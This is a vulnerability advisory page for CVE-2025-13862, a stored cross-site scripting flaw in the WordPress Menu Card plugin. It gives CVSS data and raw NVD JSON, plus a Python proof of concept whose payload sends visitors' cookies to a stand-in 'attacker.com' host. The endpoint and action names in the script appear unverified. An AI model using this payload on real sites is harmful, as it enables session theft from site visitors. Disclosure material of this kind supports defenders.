Security Vulnerability Report
中文
CVE-2025-13862 CVSS 6.4 MEDIUM

CVE-2025-13862

Published: 2026-01-09 12:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Menu Card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `category` parameter in all versions up to, and including, 0.8.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Menu Card plugin <= 0.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13862 PoC - WordPress Menu Card Plugin Stored XSS # Target: WordPress site with Menu Card plugin <= 0.8.0 target_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Create menu card with XSS payload in category parameter admin_url = f"{target_url}/wp-admin/admin.php?page=menu-card" # XSS payload - can steal cookies or perform other malicious actions xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' menu_card_data = { "action": "save_menu_card", "category": xss_payload, "menu_name": "Test Menu", "menu_items": "Test Item" } response = session.post(admin_url, data=menu_card_data) # Step 3: Trigger XSS by accessing the page containing the malicious category print(f"[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print(f"[+] Visit affected page to trigger the stored XSS")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13862", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:52.197", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Menu Card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `category` parameter in all versions up to, and including, 0.8.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Menu Card para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'category' en todas las versiones hasta la 0.8.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/menu-card/tags/0.8.0/menu-card.php#L102", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/menu-card/trunk/menu-card.php#L102", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cec428cd-0fa1-4bc4-b7f6-faf90c31f306?source=cve", "source": "[email protected]"}]}}